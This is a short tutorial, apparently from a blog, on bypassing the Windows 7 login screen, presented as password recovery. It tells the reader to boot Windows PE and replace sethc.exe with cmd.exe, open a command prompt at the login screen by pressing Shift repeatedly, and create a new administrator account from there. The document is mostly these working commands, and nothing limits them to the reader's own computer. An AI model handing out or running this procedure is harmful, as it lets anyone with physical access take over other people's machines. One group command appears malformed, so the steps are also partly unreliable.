Bypass Windows 7 login screen
Lets say you lost your password for your windows 7 account. You want to get in to your computer but you cant! You are just stuck in your login screen... sad. So, what will you do?
Here is the solution to "hack" your windows 7 login screen.
A way to boot into Windows PE. (Here is our solution to that)
Reboot the computer and start it to Windows PE. From the command prompt when booted into PE you locate the HDD where windows is installed. In my case it was D: even though when booting regularly it is C:.
For argument sake we say it is d: this time. Enter this into your command prompt.
d: [enter]
cd windows [enter]
cd system32 [enter]
copy cmd.exe sethc.exe [enter]
You will get a question about writing over the sethc.exe file. You want to do this! Now you have replaced the sticky keys function in windows with the command prompt.
Reboot your computer and let it start up normally. When you get to the login screen you press your shift key repeatedly a few times until a command prompt appears.
(If it doesn't you have failed to replace the sticky keys function with the command prompt and should start this guide over.)
In the command prompt you now enter this:
net user /add Hacker [enter] (replace "hacker" with your name)
net user localgroup administrators Hacker /add [enter] (Hacker=Your name)
Reboot the computer again. You will now see a new account at the login screen with administrator rights. Log into that account. And from the control panel in windows you should be able to change the password of your regular account. Or delete the account. Or whatever you want really...
